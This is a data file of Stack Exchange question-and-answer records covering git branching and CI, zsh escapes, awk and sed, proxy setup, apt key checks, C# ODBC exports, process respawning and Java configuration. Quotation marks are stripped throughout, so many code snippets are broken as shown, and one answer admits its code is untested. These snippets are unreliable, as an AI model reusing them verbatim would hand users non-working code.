{  "id": "_softwareengineering.181755"  , "question": "I think this article, A Successful Git Branching Model, is very well known among experienced DVCS users. I use hg mostly, but I would argue this discussion is fine for any DVCS.Our current workflow is each developer clones the master repo. We write code on our own local repo, runs tests, and if all goes well pushes to the master.So we want to setup CI servers like Jenkins and improve our workflow with the future provisioning system (chef, puppet, ansible, etc).Real partWell, the model presents above works nice but branches can break CI. The feature branch should sync with the origin (according to the article, it would be development branch) to make CI and merging smooth, right?Say Alice and Bob are working on two features. But Alice is done the next day. Bob's feature takes a week. By the time Bob is done, his changes are out of dated (maybe Alice refactored/rename some classes).One solution is each morning developers must pull master/origin to check if there's any changes. If Alice commited, Bob should pull and merge into his workspace so his feature branch is up-to-date.Is this a good way? Should these branches exist in the master repo (not local clone?) Meaning should every developer has commit privilege to the master repo on GitHub/Bitbucket so they can create a new branch? Or this is done locally?Lastly, the model presents by the article should break CI if branches are not sync with the origin/master. Since we want to do nightly build, should developers pull and merge before they leave work, and have CI runs on each feature branch as well?"  , "title": "Branching breaks continous integration?"  , "tags": "git;continuous integration;mercurial;dvcs;branching"  , "accepted_answer": "First of all, the use of feature branches (to isolate the work done on a feature) and CI (to find integration problems as soon as they are committed) are slightly at odds.In my opinion, running CI on feature branches is a waste of time. As feature branches come and go frequently, the CI tooling would have to be reconfigured over and over again. And that for a branch that most likely only gets updates from one or two sources that coordinate their check-ins to avoid the problems a CI system is meant to detect.Thus, there is also no point in having the feature branches on the master repository server.As for questions 1 and 3: It is the developer's responsibility to ensure the build on the main development branch does not break when they merge their feature-branch into it. How they do that is their problem, but two possible ways are:Pull changes made to the main development branch into the feature branch on a regular basis (e.g. daily)When the feature is done, merge the main development branch into the feature branch and push the merge result onto the main development branch.In either case, the obvious integration issues (e.g. renamed classes/files) are found and fixed first on the feature branch. The more subtle issues are most likely only found when the nightly build runs and should be fixed there and then."  } 
{  "id": "_unix.10526"  , "question": "On an rxvt-clone (I'm using rxvt-unicode but it seems to happen on plain, old rxvt as well), the sequence of characters %F seems to have some sort of special meaning (as do a few others, such as %S).  In particular, I get the following:% date +%F          38;5;0m2011-04-02% date +%F--%H.%M.%S38;5;0m--.Hostname.2011-04-02--22.25.59with the text after the m being in some dark almost-black colour.  Due to my colour scheme (mauve text on a dark blue polka dot background), this is almost unreadable.What is this, and more importantly, how do I get it to stop?To show why it is particularly annoying, my lecture documents have the date as part of their name.  It is therefore quite convenient to be able to write:xelatex lecture.beamer.$(date +%F).texsince I can store that in my history and recall it with a few judicious TABs.  However, the ensuing output is all the inverse of a whiter shade of pale, making it hard to see if there's an error.In case it makes a difference, my shell is zsh."  , "title": "What does %F mean and how can I stop it meaning it?"  , "tags": "zsh;rxvt"  , "accepted_answer": "In one of your comments, you mentioned using zsh with a preexec function that calls print -P $2.In zsh, print -P accepts these format characters:%F means set the foreground color%S means set the standout attributeSee zsh prompt expansion for the full list.So it's probably best to remove the -P flag from your call to print in preexec.One way to get the same effect:settitle() {    printf %b%s%b \\033]0; $1 \\007}tildedir() {    print -Pn %~ }preexec() {    settitle $(tildedir):$2}"  } 
{  "id": "_softwareengineering.317895"  , "question": "I have been reading on the internet about the metric number of bugs per 1000 lines of code and what would be a good number. However, I wonder how someone would compute such a metric? The reason a bug is in there is that nobody has found it. And testing can't show you that there are no more bugs.You may assume that the terms Bug and KLOC are well-defined.One method I could think of is using formal methods to proof that the software is correct and count the number of bugs encountered on the way. However, this is not realistic for large codebases.Another method would be to count the confirmed bugreports the vendor receives, without duplicates. However, this needs a lot of time to compute and only gives a lower bound. It is also heavily biased against widely used software, because more users means more bugreports.I could also think of code checkers, static analysis and such things, but they won't find everything and produce a lot of noise.Can defects per KLOC be computed or at least estimated reliably and without bias?"  , "title": "how to measure defects per KLOC"  , "tags": "code quality;metrics;code metrics"  } 
{  "id": "_unix.179115"  , "question": "Most of the commandline tools I'm looking at have the ability to pick a field delimiter.  However, I'd like to pick one delimiter to start, and a different one to end the segment of text I'd like to remove from each line I'm processing.1text [blah blah blah] text number punctuation text text2text text text3text text (text) [blah blah blah] number text4text <url> <email> text [blah blah blah] textI'd like to remove all the 'blah blah blah' from those lines.Blah can contain anything, except newlines, EOFs, and other breaky-things, and '['.  ie: I shouldn't have '[[' (nor '[blah[') in any of the dataI only have one (optional) instance of [] per line.  So, for line 2 there is nothing to remove, and this shouldn't cause a halt, stop or failure.I'm almost 100% positive that if I've got a start '[' I also have a ']'.  That might be nice to check for, however.There are other forms of punctuation, so I don't want to work it with something that just looks for non-alphanumeric stuff to start removing (ie: line 4)Bonus points for being able to figure out if I'm putting together two (now adjacent) whitespaces at that particular point - but without removing double whitespaces at any other point.I'm pretty sure I'll have to use awk or sed, but if there were a way to do this via regular commandline tools, to make it as portable as possible, that would be ideal.Also, explaining what you're doing (if you're using regex / sed) would certainly help, as:A suggestion here says:sed 's/^.*%\\([^ ]*\\) .*\\$\\([^$]*\\)$/\\1 \\2/' infileI got that kinda working with this bit of monkeying:cat data | sed 's/^.*\\[\\([^ ]*\\) .*\\]\\([^$]*\\)$/\\1 \\2/'However it doesn't take out the whole swath of 'blah blah blah', and leaves with an extra line-break.Using cut/awk/sed with two different delimitersDoesn't really answer the question in a general sense (or, at least I wasn't able to figure something out after reading it - maybe just a fail on my part), but seems to be (too) specifically tailored to that person's data."  , "title": "remove a portion of a line contained within two different types of separator / delimiters"  , "tags": "scripting"  } 
{  "id": "_unix.213092"  , "question": "Just set up a RHEL v6.4 VDE for development but I can't seem to connect to the internet no matter what I try. I'm sitting behind a company proxy that requires authentication. Here's what I've done so far:Put the link to my company's .pac file under the Automatic Proxy Configuration option in Network SettingsPut export http_proxy=<company proxy> and export https_proxy=<company proxy> in my .bashrc fileUpdated values for proxy, proxy_username, and proxy_password within the yum.conf file as well as enableProxy, proxyPassword, proxyUser, httpProxy, and enableProxyAuth within the up2date fileAfter each of these steps, I've tried connecting to the internet via Konqueror (as far as I know, no other browsers were packaged with the OS). I chose Automatically detect proxy configuration within the browser settings but each time I try there's no response. Any suggestions are appreciated. Thanks!"  , "title": "RHEL internet connection behind company proxy?"  , "tags": "rhel;proxy;internet"  } 
{  "id": "_unix.368826"  , "question": "When I ran it, the output was a bit suspicious:# add-apt-repository -y ppa:ansible/ansiblegpg: keyring `/tmp/tmp85zwje4_/secring.gpg' createdgpg: keyring `/tmp/tmp85zwje4_/pubring.gpg' createdgpg: requesting key 7BB9C367 from hkp server keyserver.ubuntu.comgpg: /tmp/tmp85zwje4_/trustdb.gpg: trustdb createdgpg: key 7BB9C367: public key Launchpad PPA for Ansible, Inc. importedgpg: Total number processed: 1gpg:               imported: 1  (RSA: 1)OKWe're not supposed to identify keys by such short strings, since colliding keyids can be generated in under 5 seconds."  , "title": "Is `add-apt-repository` safe against a malicious network (MITM)?"  , "tags": "ubuntu;security;apt"  , "accepted_answer": "Don't worry about this output.Although GPG prints the obsolete keyid, apt-add-repository is actually fetching the key using its 160 bit fingerprint.  (The fingerprint appears to be fetched over HTTPS).https://bazaar.launchpad.net/~ubuntu-core-dev/software-properties/main/annotate/head:/softwareproperties/ppa.py#L163def verify_keyid_is_v4(signing_key_fingerprint):    Verify that the keyid is a v4 fingerprint with at least 160bit    return len(signing_key_fingerprint) >= 160/8class AddPPASigningKey(object):     thread class for adding the signing key in the background     GPG_DEFAULT_OPTIONS = [gpg, --no-default-keyring, --no-options]    def __init__(self, ppa_path, keyserver=None):        self.ppa_path = ppa_path        self.keyserver = (keyserver if keyserver is not None                          else DEFAULT_KEYSERVER)    def _recv_key(self, keyring, secret_keyring, signing_key_fingerprint, keyring_dir):        try:            # double check that the signing key is a v4 fingerprint (160bit)            if not verify_keyid_is_v4(signing_key_fingerprint):                print(Error: signing key fingerprint '%s' too short %                    signing_key_fingerprint)                return False"  } 
{  "id": "_softwareengineering.321833"  , "question": "A question that gets asked a lot is Why use low level languages if you can code in high level languages more easily (and often tersely)?. I think the answers are fairly straight forward here, being mainly efficiency concerns.However, I pose Why do we use high level languages in the first place?. Besides the fact that a higher level language is easier to code in and therefore less error prone, I would love to hear some opinions on why we use high level languages.Consider especially an example of someone who is being paid to both learn a language and then develop something in it. Here they would become equally proficient in whichever language chosen (say C vs. Python). As such, why would I not favor the efficiency and power of C in said example?"  , "title": "Why use a higher level language?"  , "tags": "programming languages;python;c;low level;high level"  , "accepted_answer": "Besides the fact that a higher level language is easier to code in and therefore less error proneI really think this is a good enough reason all by itself. If you have no compelling reason to work in a low level of abstraction (such as performance, knowledge in the team, etc), then there is no reason to do it. If all you want is a coffee, then you want to tell the barista I want a coffee, not I want you to take three steps to the left, stretch out your arms, pick up the beans, put the in the grinder, push the button to grind them [...] and so on. It wouldn't make the final product any better (in fact, in some cases it'd make it worse since the barista is probably way better than you at making coffee).High-level languages encourage you to think more about the problem domain and less about the execution platform. There is less ceremony, so you can spend more time on stuff that actually brings you value."  } 
{  "id": "_unix.293042"  , "question": "I have a big file with several columns on each line. I'm familiar with using cut -f -d to select specific columns by their number.I checked the manual for cut and it doesn't seem that there's a way to regex match columns.What I want to do specifically is:select the 2nd column of every lineand also select all columns that contain the string hello (there may be none, if not it could be any column(s) and not the same column(s) for each line)What's the most convenient terminal tools for this operation?EDIT: Simplified examplex ID23 a b c hello1x ID47 hello2 a b cx ID49 hello3 a b hello4x ID53 a b c dThe result I would want is:ID23 hello1ID47 hello2ID49 hello3 hello4or alternatively:ID23 hello1ID47 hello2ID49 hello3 hello4ID53To elaborate the example given:Columns are defined by one spacewhether or not only print if the string is present is not really important, I can just grep for hello if necessarywe can assume the string hello will never be in column 1 or 2."  , "title": "`cut`: selecting columns containing a string"  , "tags": "text processing;terminal;regular expression;columns;cut"  , "accepted_answer": "If one space at the end of the line doesn't hurt you much:$ awk '{for(i=1;i<=NF;i++) if(i==2 || $i~hello) printf $i ;print }' fileID23 hello1 ID47 hello2 ID49 hello3 hello4 ID53 This doesn't assume anything about the position of the hello string."  } 
{  "id": "_unix.249925"  , "question": "I have this task of uploading a delimited file and processing it. Once the processing is done, I either say its successful and if parsing fails, I need to throw the error. I'm reading this file line by line in child script and then processing it in main script (so I can't use ifs while read).I'm renaming to .done in case all lines are parsed. Now I would like to know when there is an error before EOF has reached so that I can rename it to .err. And what if I have a file without newline character at the end?Structure is mostly as below:Main script:Calls parent script with filepathgets the fileName and no of line in the files, calls the Child script with a nth line no in a loop until total no of lines are reachedParent script:#some validations to get the txt file from the list of files... fileName=`ls -A1 *.txt`...Child script:...lineno=$1fileName=$2noOfLines=$3line=`tail -$lineno $fileName | head -n1`if [ $lineno -eq $noOfLines ] then    noExt=${fileName%.*}    mv $fileName $noExt.done #success casefiNow I also need to rename the file to .err if its erroneous or parsing fails. How do I catch the error?"  , "title": "how to differentiate error returned while reading and for EOF in shell script"  , "tags": "files;ksh;error handling"  } 
{  "id": "_softwareengineering.198763"  , "question": "For the past week I have been attempting to write a proof-of-concept project using dependency injection, a service layer, unit of work pattern + repository.I am looking to design something that can easily be consumed by any type of application - be it a Windows desktop application, a CLI application, an ASP.NET MVC application, even an iOS application running Mono. Please, bear in mind that this is just for a proof-of-concept.Until now, I have writtenA Unit of Work + Unit of Work Factory for NHibernate and Entity Framework (2 OR/M frameworks for .NET)(Generic) repository. There is one repository per OR/M implementation, taking it's respective Unit of Work Factory as a constructor parameter. It needs this to grab the current unit of work (since it's implementation contains stuff necessary for each OR/M framework to function)This has accomplished:I can swap out implementations of the repository and Unit of Work factory with NHibernate and Entity Framework, and it will just work. This is good, except I haven't implemented a real application yet, only unit-tests.These are the problems/challenges I am facing:Each application type (Desktop, CLI, ASP.NET MVC, iOS, Android, whatever) do not define a unit of work the same way. A desktop application (AFAIK) should have a Unit of Work per screen - a Web application should have a Unit of Work per request, etc. I don't know how I would share a single unit of work with all the repositories/services (see below) that needs it. - Michael is right.I want all my logic to reside in a service layer. The service layer decides when a Unit of Work should commit. The idea is that whoever calls the service, knows what to pass to it, and knows what to expect as a result. If something goes wrong, the service logs it. If I had to do this on a per-application basis, DRY would be violated (right?).It seems that if I had to implement this totally separated design, the amount of code I got to reuse would not be as much as the amount of code I'd have to write in order to implement it in each application type, which would, in the end, most likely leak my IoC container into the application.Am I totally crazy for even attempting this?EDIT: The actual problem I am facing, is providing my service layer and repositories with the same instance of a Unit of Work, no matter what application type is being used."  , "title": "Is it completely impossible to have total separation without leakage of any kind in a design?"  , "tags": "c#;design patterns;.net;design;separation of concerns"  } 
{  "id": "_codereview.131199"  , "question": "My focus was to have clean, structured code. It has to be efficient. The display doesn't have to look that good. The circles do overlap and sometimes the word doesn't fit inside the circle, but those are problems aren't really my concern right now and I will fix later.circle.pyimport pygameimport random# Define the colors and screen sizes, define center# Colorsblack = (0, 0, 0)blue = (0, 128, 255)red = (255, 102, 102)green = (102, 255, 178)purple = (178, 102, 255)yellow = (255, 255, 102)colors = [blue, red, green, purple, yellow]white = (255, 255, 255)# Radius and font sizeradius = [30, 40, 50, 60, 70, 80, 90, 100]# Screen dimensions and titleSCREEN_WIDTH, SCREEN_HEIGHT = 640, 480CENTER = (SCREEN_WIDTH/2, SCREEN_HEIGHT/2)TITLE = Occurences# Actual screenscreen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))# Initialize screenpygame.display.set_caption(TITLE)screen.fill(white)class Circle:    def __init__(self, size, text):        rand_color = random.randint(0, 4)        rand_x = random.randint(size+5, SCREEN_WIDTH-size)        rand_y = random.randint(size+5, SCREEN_HEIGHT-size)        self.x = rand_x        self.y = rand_y        self.size = size        self.color = colors[rand_color]        self.screen = screen        self.text = text    def display(self):        pygame.draw.circle(self.screen, self.color, (self.x, self.y), self.size)        myfont = pygame.font.SysFont(monospace, self.size-15, bold=True)        label = myfont.render(self.text, 1, black)        screen.blit(label, (self.x-self.size+10, self.y-20))occurences.pyimport pygamefrom pygame.locals import *import circleimport timeimport refrom operator import itemgetterfrom collections import Counter# Intropygame.init()intro_text = [Hi!, Welcome to 'occurences'!, A program (with a misspelt name) that counts the number,        of occurrences in a piece of text, and displays circles with sizes based on, the number of occurrences of each word.]for sentence in intro_text:    print sentence     time.sleep(2)text =  raw_input(Enter some text:\\n) # Prompt the user for text# Action!!!#word_count = Counter(words) # Count them#sorted_count = word_count.most_common() # Sort the count#sorted_copy = sorted_count[:] # A copy of the sorted count, just in case# Here's a one liner for the code above.words = Counter(re.findall(r[\\w']+, text.lower())).most_common() # Split wordswhile words: # While the list of words isn't empty,    max_occ = max(words, key=itemgetter(1))[1] # Take current max occurrence of the list    for word in words:        if word[1] == max_occ: # If the current word's occurrence is same as the max occurrence            curr_word = word             if len(circle.radius) != 1:                c = circle.Circle(circle.radius[-1], word[0]) # Draw a circle with the current largest size of circle.radius                c.display() # Displaying the word on the circle                circle.radius.pop() # Remove that current largest size            else:                c = circle.Circle(30, word[0]) # When there's only one size left (the smallest one), make all other words that size.                c.display()            words = [x for x in words if x != curr_word] # Change the list so that the words already dealt with are gone, making a new max_occpygame.display.flip()# Event looprunning = 1while running:    for event in pygame.event.get():        if event.type == pygame.QUIT:            running = 0pygame.display.update()"  , "title": "Count number of occurrences of each word of text, display as circles of varying size"  , "tags": "python;pygame"  } 
{  "id": "_codereview.165592"  , "question": "I wrote a simple C# application that connects to ODBC DB and pull the first N Rows from each table in a List. Then saves the query output to a separate text file, also in the case where there is an error with any of the tables, then all the tables names will be printed into another text file. The code is running and does what it is supposed to, but I believe I can make it better and faster.using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;using System.Data.Odbc;using System.Data;using System.Data.Common;using System.IO;namespace ODBC_Connection{    class Program    {        static  void Main(string[] args)        {            //defining variables            string splitter = |;            string tblName;            List<string> lines = new List<string>();            List<string> tables = new List<string>();            List<string> failed = new List<string>();            StreamWriter sw;            StreamReader sr;            StreamWriter swFail = new StreamWriter(@C:\\failedTB.txt);            //Read tables names and store them in a list tables            sr = new StreamReader(@H:\\Tables.txt);            while (true)            {                tblName = sr.ReadLine();                if (tblName == null)                {                    break;                }                tables.Add(tblName);            }            //Establish ODBC Connection             OdbcConnection DbConnection = new OdbcConnection(UID= ID; PWD= PWD; DSN=ODBC);            try            {                DbConnection.Open();            }            catch (OdbcException ex)            {                Console.WriteLine(ex.Message);                Console.ReadLine();            }            using (DbConnection)            {                //Create command                OdbcCommand cmd = DbConnection.CreateCommand();                //For each table in the list, pull the first 1000 rows and store each                  //in separate text file                foreach (var table in tables)                {                    Console.WriteLine(Processing..  + table);                    cmd.CommandText = Select * From  + table +  LIMIT 1000;                    cmd.CommandTimeout = 600; //Timeout is increased                    try {                        DbDataReader reader = cmd.ExecuteReader();                        //Check if table has data                        if (reader.HasRows)                        {                            StringBuilder sb = new StringBuilder();                            Object[] items = new Object[reader.FieldCount];                            //Get Column names and add to lines                             if (reader.Read())                            {                                for (int i = 0; i < reader.FieldCount; i++)                                {                                    sb.Append(reader.GetName(i));                                    sb.Append(splitter);                                }                                lines.Add(sb.ToString());                                sb.Clear();                            }                            //while there is data                            while (reader.Read())                            {                                reader.GetValues(items);                                foreach (var item in items)                                {                                    sb.Append(item.ToString());                                    sb.Append(|);                                }                                lines.Add(sb.ToString());                                sb.Clear();                            }                        }                        reader.Close();                        //Create a new file for each table                         sw = new StreamWriter(@C:\\+table+.txt);                        foreach (var line in lines)                        {                            sw.WriteLine(line);                        }                        lines.Clear();                        sw.Close();                    }                    //if query is not successful/does not exist add table name to a list                    catch (OdbcException ex)                    {                        failed.Add(table);                        Console.WriteLine(ex.Message +   + table);                    }                }                //Print out every table name that has failed into a single file                foreach (var item in failed)                {                    swFail.WriteLine(item);                }                //Closing files and connection                swFail.Close();                DbConnection.Close();                Console.WriteLine(Done!);                Console.ReadLine();            }        }    }}My questions/requests would be:Is there a way to not type my ID and Password when configuring the ODBC connection? Would be there any better way to write the query output to separate text files?Also any notes or suggestions are welcomed :) "  , "title": "Pulling N rows from list of tables"  , "tags": "c#;odbc"  , "accepted_answer": "Nitpicks aside it is time for separation of concerns. There are at least 3 distinct operations that should be extracted to methods. Those being: reading the table file, Get data from a specific table from the database and Write the data to a file.But before code let me address other code issues. You read lines from the file like this:while (true){   tblName = sr.ReadLine();   if (tblName == null)   {       break;   }   tables.Add(tblName);}However a common strategy would be to do this:string tblName;while ((tblName = sr.ReadLine()) != null){    tables.Add(tblName);}Like other users pointed out you are reading a single line to a string builder. Did you consider using string.Join instead. Instead of doing thiswhile (reader.Read()){  reader.GetValues(items);  foreach (var item in items)  {      sb.Append(item.ToString());      sb.Append(|);  }  lines.Add(sb.ToString());  sb.Clear();}You would do thiswhile (reader.Read()){    reader.GetValues(items);    lines.Add(string.Join(|, items));}Also here you forgot to use splitter.if (reader.Read()){  /**/}while (reader.Read())You have a bug here. Didn't you forget to write the first line to the file?You only have one input. Therefore you can get it from standard input instead of an hard-coded file path.Program < H:\\Tables.txtSelect * From  + table +  LIMIT 1000;SQL injection on my way! (I am not going to address it)Consider my solution to be a pseudo algorithm as I didn't test it:private readonly string splitter = ,;private static IEnumerable<string> GetData(OdbcConnection connection, string table){    var cmd = connection.CreateCommand();    cmd.CommandText = Select * From  + table +  LIMIT 1000;    cmd.CommandTimeout = 600;    var reader = cmd.ExecuteReader();    if (reader.HasRows)    {        var names = Enumerable.Range(0, reader.FieldCount)            .Select(i => reader.GetName(i))            .ToList();        yield return string.Join(splitter, names);        Object[] items = new Object[reader.FieldCount];        while (reader.Read())        {            reader.GetValues(items);            yield return string.Join(splitter, items);        }    }}private static void WriteToFile(string path, IEnumerable<string> lines){    using(var writer = new StreamWriter(path)){        foreach (var line in lines)        {            writer.WriteLine(line);        }        writer.Close();    }}private static IEnumerable<string> ReadLines(StreamReader reader){    string line;    while ((line = reader.ReadLine()) != null)    {        yield return line;    }}static void Main(string[] args){    List<string> failed = new List<string>();    try    {        StreamWriter swFail = new StreamWriter(@C:\\failedTB.txt);        OdbcConnection DbConnection = new OdbcConnection(UID= ID; PWD= PWD; DSN=ODBC);        DbConnection.Open();        using (DbConnection)        {            var data = ReadLines(Console.In)                .Select(table => {                    try{                        return new{                             Data = GetData(DbConnection, table),                            Table = table                        }                    }catch{                        failed.Add(table);                    }                });            foreach (var table in data)            {                WriteToFile(@C:\\+table.Table+.txt, table.Data);            }            //Print out every table name that has failed into a single file            foreach (var item in failed)            {                swFail.WriteLine(item);            }            //Closing files and connection            swFail.Close();            Console.WriteLine(Done!);            Console.ReadLine();        }    }    catch (OdbcException ex)    {        Console.WriteLine(ex.Message);        Console.ReadLine();        return;    }}"  } 
{  "id": "_cstheory.33094"  , "question": "(1) Is there a relation ( conjectured relation) between $\\mathsf{\\#P}$ and $\\mathsf{CH}$?(2) How does $\\tau$ conjecture in complexity of factorial fit in the picture? Is there a good reference?$\\mathsf{CH}$ is counting hierarchy and $\\mathsf\\tau$ conjecture essentially conjectures a lower bound of $\\omega(\\log^cn)$ for any fixed $c>0$ on number of $\\{+,-,\\times\\}$ operations needed for $n!$ computation.(I searched on answers in ctheory but was unsuccessful)"  , "title": "Big picture in counting complexities"  , "tags": "complexity classes;counting complexity"  } 
{  "id": "_unix.220830"  , "question": "I ran ps aux --forest -j to see parent and child processes. Here is an example:root      3744  3744  3744  0.0  0.2  77084  4160 ?        Ss   09:34   0:00 /usr/sbin/cupsd -flp        3747  3747  3744  0.0  0.1  63156  2236 ?        S    09:34   0:00  \\_ /usr/lib/cups/notifier/dbus dbus:// lp        3748  3748  3744  0.0  0.1  63156  2240 ?        S    09:34   0:00  \\_ /usr/lib/cups/notifier/dbus dbus:// In the third column is the PGID. My goal is to kill all 3 of these PIDs by using the PGID of the parent, 3744. My command is - pkill -TERM -g 3744This works, however, the process respawns itself with new PIDs. How can I avoid this and make it persistent? "  , "title": "Killing PGIDs but proceses are respawning, how do I make it persistent?"  , "tags": "linux;process;kill;ps"  , "accepted_answer": "You're running Ubuntu 14.04, which uses upstart as its init process. As we can see from looking at /etc/init/cups.conf, it has a respawn stanza, so by default when the cupsd process ends, another one will be started.# kill -TERM -3390# tail -1 /var/log/syslogAug  9 14:22:49 ubuntu kernel: [  283.270126] init: cups main process ended, respawningYou said you wanted the cupsd process tree killed, and restarted at the next reboot. To do this, you can use the initctl stop (or just stop) command:# stop cupscups stop/waitingYou may also want to stop cups-browsed, if you want all things associated with cups to stop.This won't permanently disable the service. Upon reboot, the cups processes will be started."  } 
{  "id": "_unix.310989"  , "question": "I am quite new to Linux. So far I used Ubuntu for a few months. Now after I installed Linux Mint 18 on VirtualBox, and tried to install VirtualBox Guest Additions into it, the installer says that it's already installed from another source and I have to remove it to install the new one.I know I can continue with the current version, but how do I remove it? What packages need to be uninstalled and what conf filed need to be edited?"  , "title": "How to remove pre-installed VirtualBox Guest Additions from Linux Mint 18?"  , "tags": "linux mint;virtualbox"  } 
{  "id": "_cs.21348"  , "question": "In general, how can we go about proving that union of two languages as non regular. In this case, the individual languages can be proved as non regular using pumping lemma. How can we apply pumping lemma to union of two languages ?"  , "title": "Prove that the language L = {a^(m+n) b^m a^n | m, n  0}  {a^m b^n a^(m+n) | m, n  0} is not regular"  , "tags": "regular languages;pumping lemma"  } 
{  "id": "_unix.387870"  , "question": "System:macOS Sierra 10.12.6 Raw input(example):. f1.md f2.md f3.md f4.txt f5.csv f6.doc0 directories, 6 filesIn a test folder, there are 6 files.Expected output:. all.tar f1.md f2.md f3.md f4.txt f5.csv f6.doc0 directories, 7 filesTrying and Problem:tar -cvf all.tar f1.md f2.md f3.md f4.txt f5.csv f6.doc Though I get the result from the above method but I have to inputing all file names and the compressed file name, which is inconvenient. For example , I can select all files and right click, then choose compressed option without inputing all.tar (I don't mind the .tar filenames.)Hope:command-line method without inputing specific file names.  "  , "title": "How to tar all files in current directory using tar but without inputing names of tar file and all files?"  , "tags": "osx;tar"  } 
{  "id": "_unix.119934"  , "question": "I have a server with static IP address that I rented (Debian on it), and I have a server with a server at home which I bought and setup as home server (with Ubuntu Server).What I would like to do is: Use my rented server, which has a static IP address I can always reach, to communicate with my home server through SSH.To so that, I installed and configured a VPN server on my rented server, and a VPN client on my home server. Everything with VPN looks fine. A route -n on the rented server (VPN server computer) givesDestination     Gateway         Genmask         Flags Metric Ref    Use Iface0.0.0.0         93.222.111.1    0.0.0.0         UG    0      0        0 eth010.8.0.0        10.8.0.2        255.255.255.0   UG    0      0        0 tun010.8.0.2        0.0.0.0         255.255.255.255 UH    0      0        0 tun093.222.111.0    0.0.0.0         255.255.255.0   U     0      0        0 eth0where I see that my VPN server has created an interface for my kernel.My question is: After having my connection with VPN server successful, how can I use SSH to connect to my home server?If I use ssh user@homeServerHostname I get an error:ssh: Could not resolve hostname homeServerHostname: Name or service not knownWhat should I do? Please advise.Thank you."  , "title": "Understanding interface forwarding with VPN"  , "tags": "ubuntu;ssh;ssh tunneling;openvpn"  } 
{  "id": "_unix.301267"  , "question": "OpenSuse 42.1 + KDE 5I use kdialog in my script to inform me on the process start/end#!/bin/shwhile inotifywait -r -e modify -e create -e delete ~/www/gruz.org.uab/www/; do    kdialog --passivepopup 'Started' --title 'UNISON update';    unison   -ui text -auto -batch gruz.org.uab    kdialog --passivepopup 'Finished' --title 'UNISON update';doneBut the popups cover some display area and I want to replace them with a progress indicator in the system tray, like when copying a file.http://static.xscreenshot.com/small/2016/08/04/13/screen_c0544580363c95b1458ba32ad0dcb741I read about something like qdbus org.kde.JobViewServer.requestView , but didn't manage to implement it due to the lack of knowledge.Can you please provide command line example (or other equivalent) topreform a processstart indicator in the traystop indicator on finishThank you, dear All"  , "title": "Notification progress in tray from command line"  , "tags": "kde;opensuse;kde5"  } 
{  "id": "_webapps.6825"  , "question": "I want to give another person the ability to send emails in my name. This person should be able to send mail using my email address, but not be able to read my email.Does anybody know a webapp or application that can do this?I use gmail, but am willing to try others."  , "title": "How to allow someone else to send emails in my name?"  , "tags": "gmail;email"  , "accepted_answer": "Gmail will be perfect for that.In his Gmail account, tell him to follow the following steps:Sign in to Gmail.Click Settings and select the Accounts and Import tab.Under Send mail as, click Add another email address.In the 'Email address' field, enter the address from which he will be sending emails (your address)Click Next Step >> and then click Send Verification. Gmail will send a verification message to your email address to confirm that he can use it.Then you will receive the email verification, you just have to approve it.Warning: Be careful though, I don't think you can remove this privilege from his accounts yourself or force him to remove your email address later on.Source"  } 
{  "id": "_codereview.147673"  , "question": "I've a standalone Java application, which basically starts and manages two socket servers. I'd like to configure server ports in a .properties file using the following class.class ApplicationConfig {    private static final Logger     LOG            = Logger.getLogger(ApplicationConfig.class.getName());    private static final Properties APP_PROPERTIES = new Properties();    static int defaultEventServerPort  = 9090;    static int defaultClientServerPort = 9099;    static {        try {            APP_PROPERTIES.load(ClassLoader.class.getResourceAsStream(/app.properties));            String eventServerPort = APP_PROPERTIES.getProperty(server.event.port);            String clientServerPort = APP_PROPERTIES.getProperty(server.client.port);            if (isValidNumeric(eventServerPort)) {                defaultEventServerPort = Integer.valueOf(eventServerPort);            }            if (isValidNumeric(clientServerPort)) {                defaultClientServerPort = Integer.valueOf(clientServerPort);            }        } catch (IOException ex) {            LOG.log(                    Level.WARNING,                    Unable to load server ports from properties file, going to use default port {0} for event server and {1} for client server,                    new Object[]{defaultEventServerPort, defaultClientServerPort}            );        }    }   private static boolean isValidNumeric(String v) {        if (v == null || v.length() == 0) {            return false;        }        for (int i = 0; i < v.length(); i++) {           if (!Character.isDigit(v.charAt(i))) {              return false;           }        }        return true;   }}I really hate ApplicationConfig class, the static initialization block bothers me, but I am not able to find a better idea yet. How you would suggest to modify it?And here is my main classpublic class Application {private static final Logger LOG = Logger.getLogger(Application.class.getName());    private Application() {}    public static void main(String[] args) {        try {            ExecutorService pool = Executors.newCachedThreadPool();            EventServer eventServer = new EventServer(new Configuration(ApplicationConfig.defaultEventServerPort));            ClientServer clientServer = new ClientServer(new Configuration(ApplicationConfig.defaultClientServerPort));            pool.submit(eventServer);            pool.submit(clientServer);        } catch (IOException e) {            LOG.log(Level.SEVERE, Unable to start servers, e);        }    }}"  , "title": "Reading properties from file during standalone application startup"  , "tags": "java;server;properties;configuration"  , "accepted_answer": "What I find bothering is not the ApplicationConfig class and the static initializer, in itself. It's the fact that defaultEventServerPort and defaultClientServerPort are global variables, which should be avoided.What you should have are two constants defining the default values, 2 variables holding the actual values as instance fields.private static final int DEFAULT_EVENT_SERVER_PORT = 9090;private static final int DEFAULT_CLIENT_SERVER_PORT = 9099;private int eventServerPort;private int clientServerPort;and the initialization of those 2 variables done in the constructor. The purpose of doing this in the constructor, instead of a static initializer, is that it lets you have proper instance fields.The first concern is that there's duplicated code in this: the logic for extracting the port from the Properties object, converting it to an int or using the default value, will be the same for both ports. Therefore, it makes sense to create a method for that:private static int getAsIntOrDefault(Properties properties, String key, int defaultValue) {    String val = properties.getProperty(key);    if (isValidNumeric(val)) {        return Integer.parseInt(val);    }    return defaultValue;}Notice that instead of using Integer.valueOf, which returns an Integer object, we can directly use Integer.parseInt, which returns a primitive int. This way, we don't need to have a boxing, and then unboxing conversion.There is another problem with how the Properties object is loaded: you have a potential memory leak!APP_PROPERTIES.load(ClassLoader.class.getResourceAsStream(/app.properties));This is opening an InputStream, but it is never closed. Instead, use a try-with-resources construct:try (InputStream is = ClassLoader.class.getResourceAsStream(/app.properties)){    APP_PROPERTIES.load(is);} catch (IOException ex) {    // ...}With those changes, you can have the following:ApplicationConfig() {    try (InputStream is = ClassLoader.class.getResourceAsStream(/app.properties)){        APP_PROPERTIES.load(is);    } catch (IOException ex) {         // do the logging    }    eventServerPort = getAsIntOrDefault(APP_PROPERTIES, server.event.port, DEFAULT_EVENT_SERVER_PORT);    clientServerPort = getAsIntOrDefault(APP_PROPERTIES, server.client.port, DEFAULT_CLIENT_SERVER_PORT);}The try-catch block was also reduced so that it spans the minimal amount of code as possible. 